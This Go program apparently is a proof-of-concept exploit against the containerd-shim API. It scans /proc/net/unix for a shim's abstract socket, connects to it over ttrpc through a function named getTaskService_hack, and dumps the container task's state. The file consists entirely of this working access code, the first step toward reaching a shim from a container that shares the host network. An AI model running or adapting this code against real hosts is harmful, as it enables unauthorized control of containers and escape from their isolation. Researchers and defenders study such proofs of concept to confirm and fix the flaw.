package main

import (
	gocontext "context"
	"fmt"
	"net"
	"os"
	"regexp"
	"strings"

	"github.com/containerd/containerd/runtime/v2/task"
	"github.com/containerd/ttrpc"
	"github.com/liudng/godump"
	"github.com/urfave/cli"
)

func getshimunixpath() (string, string, error) {
	file, err := os.Open("/proc/net/unix")
	if err != nil {
		return "", "", err
	}
	var b []byte = make([]byte, 0x1fff)
	file.Read(b)
	defer file.Close()
	socklist := string(b)

	regString := "/containerd-shim/[a-f 0-9]{64}/shim.sock"
	reg, _ := regexp.Compile(regString)
	path := reg.FindString(socklist)

	if path == "" {
		err = fmt.Errorf("no sock file found")
		return "", "", err
	}

	id := strings.Split(path, "/")[2]
	path = "\x00" + path
	return path, id, err
}

func getTaskService_hack(context *cli.Context) (task.TaskService, string, error) {

	shimunixpath, id, err := getshimunixpath()
	if err != nil {
		return nil, "", err
	}
	conn, err := net.Dial("unix", shimunixpath)
	if err != nil {
		fmt.Println(err)
		return nil, "", fmt.Errorf("fail to connect to container %s's shim", id)
	}

	client := ttrpc.NewClient(conn)

	return task.NewTaskClient(client), id, nil

}

func main() {
	var context *cli.Context
	service, id, err := getTaskService_hack(context)
	if err != nil {
		return
	}
	r, err := service.State(gocontext.Background(), &task.StateRequest{
		ID: id,
	})
	if err != nil {
		return
	}

	godump.Dump(r)
}
